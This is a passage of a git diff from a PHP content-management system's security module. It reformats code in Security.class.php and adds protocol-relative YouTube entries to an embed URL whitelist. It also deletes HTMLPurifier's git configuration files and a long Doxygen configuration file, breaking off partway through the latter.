+ { $target = $is_object ? $var->{$name0} : $var[$name0]; $target = $this->_encodeHTML($target, $name); - if($target === false) return $var; + if($target === false) + { + return $var; + } - if($is_object) $var->{$name0} = $target; - else $var[$name0] = $target; + if($is_object) + { + $var->{$name0} = $target; + } + else + { + $var[$name0] = $target; + } return $var; } - foreach($var as $key=>$target) { + foreach($var as $key => $target) + { $cloned_name = array_slice($name, 0); $target = $this->_encodeHTML($target, $name); - $name = $cloned_name; + $name = $cloned_name; - if($target === false) continue; + if($target === false) + { + continue; + } - if($is_object) $var->{$key} = $target; - else $var[$key] = $target; + if($is_object) + { + $var->{$key} = $target; + } + else + { + $var[$key] = $target; + } } return $var; } -} +} /* End of file : Security.class.php */ +/* Location: ./classes/security/Security.class.php */ diff --git a/classes/security/conf/embedWhiteUrl.xml b/classes/security/conf/embedWhiteUrl.xml index 39123dba7..457b7e030 100644 --- a/classes/security/conf/embedWhiteUrl.xml +++ b/classes/security/conf/embedWhiteUrl.xml @@ -36,6 +36,8 @@ http://www.youtube.com/v/ http://www.youtube-nocookie.com/ + //www.youtube.com/v/ + //www.youtube-nocookie.com/ http://play.mgoon.com/Video/ @@ -199,6 +201,8 @@ https://www.youtube.com/ http://www.youtube-nocookie.com/ https://www.youtube-nocookie.com/ + //www.youtube.com/v/ + //www.youtube-nocookie.com/ http://maps.google.com/ diff --git a/classes/security/htmlpurifier/.gitattributes b/classes/security/htmlpurifier/.gitattributes deleted file mode 100644 index 51e648377..000000000 --- a/classes/security/htmlpurifier/.gitattributes +++ /dev/null @@ -1 +0,0 @@ -configdoc/usage.xml -crlf diff --git a/classes/security/htmlpurifier/.gitignore b/classes/security/htmlpurifier/.gitignore deleted file mode 100644 index 4d6ef8d2f..000000000 --- a/classes/security/htmlpurifier/.gitignore +++ /dev/null @@ -1,22 +0,0 @@ -tags -conf/ -test-settings.php -config-schema.php -library/HTMLPurifier/DefinitionCache/Serializer/*/ -library/standalone/ -library/HTMLPurifier.standalone.php -library/HTMLPurifier*.tgz -library/package*.xml -smoketests/test-schema.html -configdoc/*.html -configdoc/configdoc.xml -docs/doxygen* -*.phpt.diff -*.phpt.exp -*.phpt.log -*.phpt.out -*.phpt.php -*.phpt.skip.php -*.htmlt.ini -*.patch -/*.php diff --git a/classes/security/htmlpurifier/Doxyfile b/classes/security/htmlpurifier/Doxyfile deleted file mode 100644 index ff06806e7..000000000 --- a/classes/security/htmlpurifier/Doxyfile +++ /dev/null @@ -1,1317 +0,0 @@ -# Doxyfile 1.5.3 - -# This file describes the settings to be used by the documentation system -# doxygen (www.doxygen.org) for a project -# -# All text after a hash (#) is considered a comment and will be ignored -# The format is: -# TAG = value [value, ...] -# For lists items can also be appended using: -# TAG += value [value, ...] -# Values that contain spaces should be placed between quotes (" ") - -#--------------------------------------------------------------------------- -# Project related configuration options -#--------------------------------------------------------------------------- - -# This tag specifies the encoding used for all characters in the config file that -# follow. The default is UTF-8 which is also the encoding used for all text before -# the first occurrence of this tag. Doxygen uses libiconv (or the iconv built into -# libc) for the transcoding. See http://www.gnu.org/software/libiconv for the list of -# possible encodings. - -DOXYFILE_ENCODING = UTF-8 - -# The PROJECT_NAME tag is a single word (or a sequence of words surrounded -# by quotes) that should identify the project. - -PROJECT_NAME = HTMLPurifier - -# The PROJECT_NUMBER tag can be used to enter a project or revision number. -# This could be handy for archiving the generated documentation or -# if some version control system is used. - -PROJECT_NUMBER = 4.4.0 - -# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) -# base path where the generated documentation will be put. -# If a relative path is entered, it will be relative to the location -# where doxygen was started. If left blank the current directory will be used. - -OUTPUT_DIRECTORY = "docs/doxygen " - -# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create -# 4096 sub-directories (in 2 levels) under the output directory of each output -# format and will distribute the generated files over these directories. -# Enabling this option can be useful when feeding doxygen a huge amount of -# source files, where putting all generated files in the same directory would -# otherwise cause performance problems for the file system. - -CREATE_SUBDIRS = NO - -# The OUTPUT_LANGUAGE tag is used to specify the language in which all -# documentation generated by doxygen is written. Doxygen will use this -# information to generate all constant output in the proper language. -# The default language is English, other supported languages are: -# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, -# Croatian, Czech, Danish, Dutch, Finnish, French, German, Greek, Hungarian, -# Italian, Japanese, Japanese-en (Japanese with English messages), Korean, -# Korean-en, Lithuanian, Norwegian, Polish, Portuguese, Romanian, Russian, -# Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian. - -OUTPUT_LANGUAGE = English - -# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will -# include brief member descriptions after the members that are listed in -# the file and class documentation (similar to JavaDoc). -# Set to NO to disable this. - -BRIEF_MEMBER_DESC = YES - -# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend -# the brief description of a member or function before the detailed description. -# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the -# brief descriptions will be completely suppressed. - -REPEAT_BRIEF = YES - -# This tag implements a quasi-intelligent brief description abbreviator -# that is used to form the text in various listings. Each string -# in this list, if found as the leading text of the brief description, will be -# stripped from the text and the result after processing the whole list, is -# used as the annotated text. Otherwise, the brief description is used as-is. -# If left blank, the following values are used ("$name" is automatically -# replaced with the name of the entity): "The $name class" "The $name widget" -# "The $name file" "is" "provides" "specifies" "contains" -# "represents" "a" "an" "the" - -ABBREVIATE_BRIEF = "The $name class " \ - "The $name widget " \ - "The $name file " \ - is \ - provides \ - specifies \ - contains \ - represents \ - a \ - an \ - the - -# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then -# Doxygen will generate a detailed section even if there is only a brief -# description. - -ALWAYS_DETAILED_SEC = NO - -# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all -# inherited members of a class in the documentation of that class as if those -# members were ordinary class members. Constructors, destructors and assignment -# operators of the base classes will not be shown. - -INLINE_INHERITED_MEMB = NO - -# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full -# path before files name in the file list and in the header files. If set -# to NO the shortest path that makes the file name unique will be used. - -FULL_PATH_NAMES = YES - -# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag -# can be used to strip a user-defined part of the path. Stripping is -# only done if one of the specified strings matches the left-hand part of -# the path. The tag can be used to show relative paths in the file list. -# If left blank the directory from which doxygen is run is used as the -# path to strip. - -STRIP_FROM_PATH = "C:/Users/Edward/Webs/htmlpurifier " \ - "C:/Documents and Settings/Edward/My Documents/My Webs/htmlpurifier " - -# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of -# the path mentioned in the documentation of a class, which tells -# the reader which header file to include in order to use a class. -# If left blank only the name of the header file containing the class -# definition is used. Otherwise one should specify the include paths that -# are normally passed to the compiler using the -I flag. - -STRIP_FROM_INC_PATH = - -# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter -# (but less readable) file names. This can be useful is your file systems -# doesn't support long names like on DOS, Mac, or CD-ROM. - -SHORT_NAMES = NO - -# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen -# will interpret the first line (until the first dot) of a JavaDoc-style -# comment as the brief description. If set to NO, the JavaDoc -# comments will behave just like regular Qt-style comments -# (thus requiring an explicit @brief command for a brief description.) - -JAVADOC_AUTOBRIEF = YES - -# If the QT_AUTOBRIEF tag is set to YES then Doxygen will -# interpret the first line (until the first dot) of a Qt-style -# comment as the brief description. If set to NO, the comments -# will behave just like regular Qt-style comments (thus requiring -# an explicit \brief command for a brief description.) - -QT_AUTOBRIEF = NO - -# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen -# treat a multi-line C++ special comment block (i.e. a block of //! or /// -# comments) as a brief description. This used to be the default behaviour. -# The new default is to treat a multi-line C++ comment block as a detailed -# description. Set this tag to YES if you prefer the old behaviour instead. - -MULTILINE_CPP_IS_BRIEF = NO - -# If the DETAILS_AT_TOP tag is set to YES then Doxygen -# will output the detailed description near the top, like JavaDoc. -# If set to NO, the detailed description appears after the member -# documentation. - -DETAILS_AT_TOP = NO - -# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented -# member inherits the documentation from any documented member that it -# re-implements. - -INHERIT_DOCS = YES - -# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce -# a new page for each member. If set to NO, the documentation of a member will -# be part of the file/class/namespace that contains it. - -SEPARATE_MEMBER_PAGES = NO - -# The TAB_SIZE tag can be used to set the number of spaces in a tab. -# Doxygen uses this value to replace tabs by spaces in code fragments. - -TAB_SIZE = 4 - -# This tag can be used to specify a number of aliases that acts -# as commands in the documentation. An alias has the form "name=value". -# For example adding "sideeffect=\par Side Effects:\n" will allow you to -# put the command \sideeffect (or @sideeffect) in the documentation, which -# will result in a user-defined paragraph with heading "Side Effects:". -# You can put \n's in the value part of an alias to insert newlines. - -ALIASES = - -# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C -# sources only. Doxygen will then generate output that is more tailored for C. -# For instance, some of the names that are used will be different. The list -# of all members will be omitted, etc. - -OPTIMIZE_OUTPUT_FOR_C = NO - -# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java -# sources only. Doxygen will then generate output that is more tailored for Java. -# For instance, namespaces will be presented as packages, qualified scopes -# will look different, etc. - -OPTIMIZE_OUTPUT_JAVA = NO - -# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to -# include (a tag file for) the STL sources as input, then you should -# set this tag to YES in order to let doxygen match functions declarations and -# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. -# func(std::string) {}). This also make the inheritance and collaboration -# diagrams that involve STL classes more complete and accurate. - -BUILTIN_STL_SUPPORT = NO - -# If you use Microsoft's C++/CLI language, you should set this option to YES to -# enable parsing support. - -CPP_CLI_SUPPORT = NO - -# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC -# tag is set to YES, then doxygen will reuse the documentation of the first -# member in the group (if any) for the other members of the group. By default -# all members of a group must be documented explicitly. - -DISTRIBUTE_GROUP_DOC = NO - -# Set the SUBGROUPING tag to YES (the default) to allow class member groups of -# the same type (for instance a group of public functions) to be put as a -# subgroup of that type (e.g. under the Public Functions section). Set it to -# NO to prevent subgrouping. Alternatively, this can be done per class using -# the \nosubgrouping command. - -SUBGROUPING = YES - -#--------------------------------------------------------------------------- -# Build related configuration options -#--------------------------------------------------------------------------- - -# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in -# documentation are documented, even if no documentation was available. -# Private class members and static file members will be hidden unless -# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES - -EXTRACT_ALL = YES - -# If the EXTRACT_PRIVATE tag is set to YES all private members of a class -# will be included in the documentation. - -EXTRACT_PRIVATE = YES - -# If the EXTRACT_STATIC tag is set to YES all static members of a file -# will be included in the documentation. - -EXTRACT_STATIC = YES - -# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) -# defined locally in source files will be included in the documentation. -# If set to NO only classes defined in header files are included. - -EXTRACT_LOCAL_CLASSES = YES - -# This flag is only useful for Objective-C code. When set to YES local -# methods, which are defined in the implementation section but not in -# the interface are included in the documentation. -# If set to NO (the default) only methods in the interface are included. - -EXTRACT_LOCAL_METHODS = NO - -# If this flag is set to YES, the members of anonymous namespaces will be extracted -# and appear in the documentation as a namespace called 'anonymous_namespace{file}', -# where file will be replaced with the base name of the file that contains the anonymous -# namespace. By default anonymous namespace are hidden. - -EXTRACT_ANON_NSPACES = NO - -# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all -# undocumented members of documented classes, files or namespaces. -# If set to NO (the default) these members will be included in the -# various overviews, but no documentation section is generated. -# This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_MEMBERS = NO - -# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all -# undocumented classes that are normally visible in the class hierarchy. -# If set to NO (the default) these classes will be included in the various -# overviews. This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_CLASSES = NO - -# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all -# friend (class|struct|union) declarations. -# If set to NO (the default) these declarations will be included in the -# documentation. - -HIDE_FRIEND_COMPOUNDS = NO - -# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any -# documentation blocks found inside the body of a function. -# If set to NO (the default) these blocks will be appended to the -# function's detailed documentation block. - -HIDE_IN_BODY_DOCS = NO - -# The INTERNAL_DOCS tag determines if documentation -# that is typed after a \internal command is included. If the tag is set -# to NO (the default) then the documentation will be excluded. -# Set it to YES to include the internal documentation. - -INTERNAL_DOCS = NO - -# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate -# file names in lower-case letters. If set to YES upper-case letters are also -# allowed. This is useful if you have classes or files whose names only differ -# in case and if your file system supports case sensitive file names. Windows -# and Mac users are advised to set this option to NO. - -CASE_SENSE_NAMES = YES - -# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen -# will show members with their full class and namespace scopes in the -# documentation. If set to YES the scope will be hidden. - -HIDE_SCOPE_NAMES = NO - -# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen -# will put a list of the files that are included by a file in the documentation -# of that file. - -SHOW_INCLUDE_FILES = YES - -# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] -# is inserted in the documentation for inline members. - -INLINE_INFO = YES - -# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen -# will sort the (detailed) documentation of file and class members -# alphabetically by member name. If set to NO the members will appear in -# declaration order. - -SORT_MEMBER_DOCS = YES - -# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the -# brief documentation of file, namespace and class members alphabetically -# by member name. If set to NO (the default) the members will appear in -# declaration order. - -SORT_BRIEF_DOCS = NO - -# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be -# sorted by fully-qualified names, including namespaces. If set to -# NO (the default), the class list will be sorted only by class name, -# not including the namespace part. -# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. -# Note: This option applies only to the class list, not to the -# alphabetical list. - -SORT_BY_SCOPE_NAME = NO - -# The GENERATE_TODOLIST tag can be used to enable (YES) or -# disable (NO) the todo list. This list is created by putting \todo -# commands in the documentation. - -GENERATE_TODOLIST = YES - -# The GENERATE_TESTLIST tag can be used to enable (YES) or -# disable (NO) the test list. This list is created by putting \test -# commands in the documentation. - -GENERATE_TESTLIST = YES - -# The GENERATE_BUGLIST tag can be used to enable (YES) or -# disable (NO) the bug list. This list is created by putting \bug -# commands in the documentation. - -GENERATE_BUGLIST = YES - -# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or -# disable (NO) the deprecated list. This list is created by putting -# \deprecated commands in the documentation. - -GENERATE_DEPRECATEDLIST= YES - -# The ENABLED_SECTIONS tag can be used to enable conditional -# documentation sections, marked by \if sectionname ... \endif. - -ENABLED_SECTIONS = - -# The MAX_INITIALIZER_LINES tag determines the maximum number of lines -# the initial value of a variable or define consists of for it to appear in -# the documentation. If the initializer consists of more lines than specified -# here it will be hidden. Use a value of 0 to hide initializers completely. -# The appearance of the initializer of individual variables and defines in the -# documentation can be controlled using \showinitializer or \hideinitializer -# command in the documentation regardless of this setting. - -MAX_INITIALIZER_LINES = 30 - -# Set the SHOW_USED_FILES tag to NO to disable the list of files generated -# at the bottom of the documentation of classes and structs. If set to YES the -# list will mention the files that were used to generate the documentation. - -SHOW_USED_FILES = YES - -# If the sources in your project are distributed over multiple directories -# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy -# in the documentation. The default is NO. - -SHOW_DIRECTORIES = NO - -# The FILE_VERSION_FILTER tag can be used to specify a program or script that -# doxygen should invoke to get the current version for each file (typically from the -# version control system). Doxygen will invoke the program by executing (via -# popen()) the command , where is the value of -# the FILE_VERSION_FILTER tag, and is the name of an input file -# provided by doxygen. Whatever the program writes to standard output -# is used as the file version. See the manual for examples. - -FILE_VERSION_FILTER = - -#--------------------------------------------------------------------------- -# configuration options related to warning and progress messages -#--------------------------------------------------------------------------- - -# The QUIET tag can be used to turn on/off the messages that are generated -# by doxygen. Possible values are YES and NO. If left blank NO is used. - -QUIET = NO - -# The WARNINGS tag can be used to turn on/off the warning messages that are -# generated by doxygen. Possible values are YES and NO. If left blank -# NO is used. - -WARNINGS = YES - -# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings -# for undocumented members. If EXTRACT_ALL is set to YES then this flag will -# automatically be disabled. - -WARN_IF_UNDOCUMENTED = YES - -# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for -# potential errors in the documentation, such as not documenting some -# parameters in a documented function, or documenting parameters that -# don't exist or using markup commands wrongly. - -WARN_IF_DOC_ERROR = YES - -# This WARN_NO_PARAMDOC option can be abled to get warnings for -# functions that are documented, but have no documentation for their parameters -# or return value. If set to NO (the default) doxygen will only warn about -# wrong or incomplete parameter documentation, but not about the absence of -# documentation. - -WARN_NO_PARAMDOC = NO - -# The WARN_FORMAT tag determines the format of the warning messages that -# doxygen can produce. The string should contain the $file, $line, and $text -# tags, which will be replaced by the file and line number from which the -# warning originated and the warning text. Optionally the format may contain -# $version, which will be replaced by the version of the file (if it could -# be obtained via FILE_VERSION_FILTER) - -WARN_FORMAT = "$file:$line: $text " - -# The WARN_LOGFILE tag can be used to specify a file to which warning -# and error messages should be written. If left blank the output is written -# to stderr. - -WARN_LOGFILE = - -#--------------------------------------------------------------------------- -# configuration options related to the input files -#--------------------------------------------------------------------------- - -# The INPUT tag can be used to specify the files and/or directories that contain -# documented source files. You may enter file names like "myfile.cpp" or -# directories like "/usr/src/myproject". Separate the files or directories -# with spaces. - -INPUT = ". " - -# This tag can be used to specify the character encoding of the source files that -# doxygen parses. Internally doxygen uses the UTF-8 encoding, which is also the default -# input encoding. Doxygen uses libiconv (or the iconv built into libc) for the transcoding. -# See http://www.gnu.org/software/libiconv for the list of possible encodings. - -INPUT_ENCODING = UTF-8 - -# If the value of the INPUT tag contains directories, you can use the -# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank the following patterns are tested: -# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx -# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py - -FILE_PATTERNS = *.php - -# The RECURSIVE tag can be used to turn specify whether or not subdirectories -# should be searched for input files as well. Possible values are YES and NO. -# If left blank NO is used. - -RECURSIVE = YES - -# The EXCLUDE tag can be used to specify files and/or directories that should -# excluded from the INPUT source files. This way you can easily exclude a -# subdirectory from a directory tree whose root is specified with the INPUT tag. - -EXCLUDE = - -# The EXCLUDE_SYMLINKS tag can be used select whether or not files or -# directories that are symbolic links (a Unix filesystem feature) are excluded -# from the input. - -EXCLUDE_SYMLINKS = NO - -# If the value of the INPUT tag contains directories, you can use the -# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude -# certain files from those directories. Note that the wildcards are matched -# against the file with absolute path, so to exclude all test directories -# for example use the pattern */test/* - -EXCLUDE_PATTERNS = */tests/* \ - */benchmarks/* \ - */docs/* \ - */test-settings.php \ - */configdoc/* \ - */test-settings.php \ - */maintenance/* \ - */smoketests/* \ - */library/standalone/* \ - */.svn* \ - */conf/* - -# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names -# (namespaces, classes, functions, etc.) that should be excluded from the output. -# The symbol name can be a fully qualified name, a word, or if the wildcard * is used, -# a substring. Examples: ANamespace, AClass, AClass::ANamespace, ANamespace::*Test - -EXCLUDE_SYMBOLS = - -# The EXAMPLE_PATH tag can be used to specify one or more files or -# directories that contain example code fragments that are included (see -# the \include command). - -EXAMPLE_PATH = - -# If the value of the EXAMPLE_PATH tag contains directories, you can use the -# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank all files are included. - -EXAMPLE_PATTERNS = * - -# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be -# searched for input files to be used with the \include or \dontinclude -# commands irrespective of the value of the RECURSIVE tag. -# Possible values are YES and NO. If left blank NO is used. - -EXAMPLE_RECURSIVE = NO - -# The IMAGE_PATH tag can be used to specify one or more files or -# directories that contain image that are included in the documentation (see -# the \image command). - -IMAGE_PATH = - -# The INPUT_FILTER tag can be used to specify a program that doxygen should -# invoke to filter for each input file. Doxygen will invoke the filter program -# by executing (via popen()) the command , where -# is the value of the INPUT_FILTER tag, and is the name of an -# input file. Doxygen will then use the output that the filter program writes -# to standard output. If FILTER_PATTERNS is specified, this tag will be -# ignored. - -INPUT_FILTER = - -# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern -# basis. Doxygen will compare the file name with each pattern and apply the -# filter if there is a match. The filters are a list of the form: -# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further -# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER -# is applied to all files. - -FILTER_PATTERNS = - -# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using -# INPUT_FILTER) will be used to filter the input files when producing source -# files to browse (i.e. when SOURCE_BROWSER is set to YES). - -FILTER_SOURCE_FILES = NO - -#--------------------------------------------------------------------------- -# configuration options related to source browsing -#--------------------------------------------------------------------------- - -# If the SOURCE_BROWSER tag is set to YES then a list of source files will -# be generated. Documented entities will be cross-referenced with these sources. -# Note: To get rid of all source code in the generated output, make sure also -# VERBATIM_HEADERS is set to NO. If you have enabled CALL_GRAPH or CALLER_GRAPH -# then you must also enable this option. If you don't then doxygen will produce -# a warning and turn it on anyway - -SOURCE_BROWSER = YES - -# Setting the INLINE_SOURCES tag to YES will include the body -# of functions and classes directly in the documentation. - -INLINE_SOURCES = NO - -# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct -# doxygen to hide any special comment blocks from generated source code -# fragments. Normal C and C++ comments will always remain visible. - -STRIP_CODE_COMMENTS = YES - -# If the REFERENCED_BY_RELATION tag is set to YES (the default) -# then for each documented function all documented -# functions referencing it will be listed. - -REFERENCED_BY_RELATION = YES - -# If the REFERENCES_RELATION tag is set to YES (the default) -# then for each documented function all documented entities -# called/used by that function will be listed. - -REFERENCES_RELATION = YES - -# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) -# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from -# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will -# link to the source code. Otherwise they will link to the documentstion. - -REFERENCES_LINK_SOURCE = YES - -# If the USE_HTAGS tag is set to YES then the references to source code -# will point to the HTML generated by the htags(1) tool instead of doxygen -# built-in source browser. The htags tool is part of GNU's global source -# tagging system (see http://www.gnu.org/software/global/global.html). You -# will need version 4.8.6 or higher. - -USE_HTAGS = NO - -# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen -# will generate a verbatim copy of the header file for each class for -# which an include is specified. Set to NO to disable this. - -VERBATIM_HEADERS = YES - -#--------------------------------------------------------------------------- -# configuration options related to the alphabetical class index -#--------------------------------------------------------------------------- - -# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index -# of all compounds will be generated. Enable this if the project -# contains a lot of classes, structs, unions or interfaces. - -ALPHABETICAL_INDEX = NO - -# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then -# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns -# in which this list will be split (can be a number in the range [1..20]) - -COLS_IN_ALPHA_INDEX = 5 - -# In case all classes in a project start with a common prefix, all -# classes will be put under the same header in the alphabetical index. -# The IGNORE_PREFIX tag can be used to specify one or more prefixes that -# should be ignored while generating the index headers. - -IGNORE_PREFIX = - -#--------------------------------------------------------------------------- -# configuration options related to the HTML output -#--------------------------------------------------------------------------- - -# If the GENERATE_HTML tag is set to YES (the default) Doxygen will -# generate HTML output. - -GENERATE_HTML = YES - -# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `html' will be used as the default path. - -HTML_OUTPUT = html - -# The HTML_FILE_EXTENSION tag can be used to specify the file extension for -# each generated HTML page (for example: .htm,.php,.asp). If it is left blank -# doxygen will generate files with .html extension. - -HTML_FILE_EXTENSION = .html - -# The HTML_HEADER tag can be used to specify a personal HTML header for -# each generated HTML page. If it is left blank doxygen will generate a -# standard header. - -HTML_HEADER = - -# The HTML_FOOTER tag can be used to specify a personal HTML footer for -# each generated HTML page. If it is left blank doxygen will generate a -# standard footer. - -HTML_FOOTER = - -# The HTML_STYLESHEET tag can be used to specify a user-defined cascading -# style sheet that is used by each HTML page. It can be used to -# fine-tune the look of the HTML output. If the tag is left blank doxygen -# will generate a default style sheet. Note that doxygen will try to copy -# the style sheet file to the HTML output directory, so don't put your own -# stylesheet in the HTML output directory as well, or it will be erased! - -HTML_STYLESHEET = - -# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, -# files or namespaces will be aligned in HTML using tables. If set to -# NO a bullet list will be used. - -HTML_ALIGN_MEMBERS = YES - -# If the GENERATE_HTMLHELP tag is set to YES, additional index files -# will be generated that can be used as input for tools like the -# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) -# of the generated HTML documentation. - -GENERATE_HTMLHELP = NO - -# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML -# documentation will contain sections that can be hidden and shown after the -# page has loaded. For this to work a browser that supports -# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox -# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). - -HTML_DYNAMIC_SECTIONS = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can -# be used to specify the file name of the resulting .chm file. You -# can add a path in front of the file if the result should not be -# written to the html output directory. - -CHM_FILE = - -# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can -# be used to specify the location (absolute path including file name) of -# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run -# the HTML help compiler on the generated index.hhp. - -HHC_LOCATION = - -# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag -# controls if a separate .chi index file is generated (YES) or that -# it should be included in the master .chm file (NO). - -GENERATE_CHI = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag -# controls whether a binary table of contents is generated (YES) or a -# normal table of contents (NO) in the .chm file. - -BINARY_TOC = NO - -# The TOC_EXPAND flag can be set to YES to add extra items for group members -# to the contents of the HTML help documentation and to the tree view. - -TOC_EXPAND = NO - -# The DISABLE_INDEX tag can be used to turn on/off the condensed index at -# top of each HTML page. The value NO (the default) enables the index and -# the value YES disables it. - -DISABLE_INDEX = NO - -# This tag can be used to set the number of enum values (range [1..20]) -# that doxygen will group on one line in the generated HTML documentation. - -ENUM_VALUES_PER_LINE = 4 - -# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be -# generated containing a tree-like index structure (just like the one that -# is generated for HTML Help). For this to work a browser that supports -# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, -# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are -# probably better off using the HTML help feature. - -GENERATE_TREEVIEW = YES - -# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be -# used to set the initial width (in pixels) of the frame in which the tree -# is shown. - -TREEVIEW_WIDTH = 250 - -#--------------------------------------------------------------------------- -# configuration options related to the LaTeX output -#--------------------------------------------------------------------------- - -# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will -# generate Latex output. - -GENERATE_LATEX = NO - -# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `latex' will be used as the default path. - -LATEX_OUTPUT = latex - -# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be -# invoked. If left blank `latex' will be used as the default command name. - -LATEX_CMD_NAME = latex - -# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to -# generate index for LaTeX. If left blank `makeindex' will be used as the -# default command name. - -MAKEINDEX_CMD_NAME = makeindex - -# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact -# LaTeX documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_LATEX = NO - -# The PAPER_TYPE tag can be used to set the paper type that is used -# by the printer. Possible values are: a4, a4wide, letter, legal and -# executive. If left blank a4wide will be used. - -PAPER_TYPE = a4wide - -# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX -# packages that should be included in the LaTeX output. - -EXTRA_PACKAGES = - -# The LATEX_HEADER tag can be used to specify a personal LaTeX header for -# the generated latex document. The header should contain everything until -# the first chapter. If it is left blank doxygen will generate a -# standard header. Notice: only use this tag if you know what you are doing! - -LATEX_HEADER = - -# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated -# is prepared for conversion to pdf (using ps2pdf). The pdf file will -# contain links (just like the HTML output) instead of page references -# This makes the output suitable for online browsing using a pdf viewer. - -PDF_HYPERLINKS = YES - -# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of -# plain latex in the generated Makefile. Set this option to YES to get a -# higher quality PDF documentation. - -USE_PDFLATEX = YES - -# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. -# command to the generated LaTeX files. This will instruct LaTeX to keep -# running if errors occur, instead of asking the user for help. -# This option is also used when generating formulas in HTML. - -LATEX_BATCHMODE = NO - -# If LATEX_HIDE_INDICES is set to YES then doxygen will not -# include the index chapters (such as File Index, Compound Index, etc.) -# in the output. - -LATEX_HIDE_INDICES = NO - -#--------------------------------------------------------------------------- -# configuration options related to the RTF output -#--------------------------------------------------------------------------- - -# If the GENERATE_RTF tag is set to YES 